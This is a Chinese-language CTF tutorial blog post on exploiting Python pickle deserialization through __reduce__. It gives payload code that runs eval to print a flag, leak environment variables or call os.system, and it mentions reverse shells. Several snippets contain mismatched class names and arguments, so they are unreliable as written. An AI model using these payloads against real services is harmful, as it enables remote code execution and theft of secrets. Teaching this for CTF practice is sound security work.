CTF/7/python中pickle序列化与反序列化漏洞的利用(利用__reduce__)

最后编辑时间:2024-09-28 19:59:22 星期六

CTF/7/python中pickle序列化与反序列化漏洞的利用(利用__reduce__)

前置基础:

类与对象 and 为什么要序列化和反序列化?

这里建议先去看看我之前写的PHP序列化与反序列化中对类与对象的描述

Pickle库

在代码中加入以下语句来引入Pickle库

import pickle

Pickle 中有几个主要的语法

pickle.dump(obj, file) #将对象序列化后的字符写入文件
pickle.load(file) #将文件中的序列化字符转化为对象

pickle.dumps(obj) #将对象转化为序列化bytes字符串
pickle.loads(bytes_object) #将序列化bytes字符串转化为对象

对于CTF,后两个用的多,本篇重点讨论后两个

试试看Pickle序列化吧

import pickle

class block:
	def __init__(self, name, data) -> None:
        self.name = name
        self.data = data

a = block("1","red")
print(pickle.dumps(a))
#输出:
#b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05block\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x04data\x94\x8c\x03red\x94ub.'
#什么,你看不懂这一大串是什么,回去上面看bytes字节串!!!

这样,我们就把一个对象存储在了bytes字节串中了
至于具体的原理,别急,先看下去

试试看Pickle反序列化吧

import pickle

class block:
	def __init__(self, name, data) -> None:
        self.name = name
        self.data = data
block_data = b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05block\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x04data\x94\x8c\x03red\x94ub.'
a = pickle.loads(block_data)
print(a)
#输出:
#<__main__.block object at 0x000001957E212270>

学过C/C++的师傅应该可以看出0x000001957E212270应该是一个地址
这证明我们的bytes字节串成功被反序列化为了一个对象,类型为block

具体实现?

参考这里:https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0Dy7GQDt%3DG%3DGCDlhjeaTxfORMx7KKq%3Dx
Pickle的具体实现依靠汇编语言,如果没有基础的师傅可以跳过这一节,(编者也不会QAQ

如何利用Pickle反序列化漏洞

如果不会汇编也没关系哦,接下来全程不涉及汇编

假设题目不设置保护(几乎不存在)

题目:

flag="我是flag"
class block:
    def __init__(self, name, data) -> None:
        self.name = name
        self.data = data

block_data = base64.b64decode(["POST"]) #注意要用base64传入
block1 = pickle.loads(block_data)

if block1.name == "admin" and block1.data == "nimda":
	print(flag)

生成攻击的代码就是:

import pickle
import base64

class block:
    def __init__(self, name, data) -> None:
        self.name = name
        self.data = data

a = block("admin","admin")
base64.b64encode(pickle.dumps(a)).decode("utf-8")

题目有保护

这里要先介绍一下一个特殊类方法def __reduce__(self):
看代码:

class block:
	def __init__(self, name, data) -> None:
		self.name = name
		self.data = data

	def __reduce__(self):
		return(eval,("print(1+1)",))

a = block("admin","admin")
A = pickle.dumps(a)
B = pickle.loads(A)
#结果:
#2

这个def __reduce__(self):方法是:当bytes字节串反序列化时要干的事情,类似php的魔术方法,如果你不理解,就把它当成一个只要反序列化就会自动执行的一个函数即可,函数的返回值如下

return(a,b)
a: 你要执行的函数
b: a的参数(一个元组) 例如:("print(1+1)",)

而且,和php不同的是:pickle的__reduce__方法是跟着bytes字节串走的,也就是说,我们可以在本地构造__reduce__方法,然后直接发到服务器上!

#服务器上
flag="我是flag"
class block:
    def __init__(self, name, data) -> None:
        self.name = name
        self.data = data

block_data = base64.b64decode(["POST"]) #注意要用base64传入
block1 = pickle.loads(block_data)
#没有可以用于攻击的函数怎么办呢?
#本地上
class block:
	def __reduce__(self):
		return(eval,("print(flag)",))

a = block()
base64.b64encode(pickle.dumps(a)).decode("utf-8")

无论是否反序列化成功,__reduce__必定会发动!,但是回显就不一定了
此时,就有以下几个方法

1. 直接执行各种命令(适用于命令行回显的情况)
2. 构造反弹shell命令(适用于题目允许链接外网的情况)
3. 更改可以显示的地方(例如网页模板来显示)

题目检验了类型

例如,有这么一道题目

def A():
    input_data = ["POST"]
    if B(input_data):
        return C(input_data) #用于正常显示网页
    else:
        return jsonify({"error": "not block"})

def B():
	try:
		block_data = base64.b64decode(serialized_pet)
		block1 = pickle.loads(block_data)
		if isinstance(block1, block):#检测是否为block类型
			return True
		return False
	except Exception:
		return False

分析问题,题目做了

  1. 对于反序列化的结果的类型检测,不回显,直接输命令无效
  2. 不允许出网,反射shell没用
  3. 固定模板,报错没用

唯一可行的方法是把输出放到name或者data里面,让题目显示出来
代码

class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species

    def __reduce__(self):
        return (eval,('Pet(__import__("os").environ,1)',))

def B(block_data):
	try:
		block_data = base64.b64decode(block_data)
		block1 = pickle.loads(block_data)
		if isinstance(block1, block):
			return True
		return False
	except Exception:
		return False

a = block(1,1)
A = base64.b64encode(pickle.dumps(a)).decode("utf-8")
print(B(A))
#输出:
#True

如果无法理解,可以试试看这段代码

class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species

a = eval('Pet(1,1)')

这里出来的a就是一个block类型__import__("os").environ这个是打印环境目录,如果要执行系统命令,则为__import__("os").system("ls")

posted @ 2024-09-28 21:59  归海言诺  阅读(205)  评论(0)    收藏  举报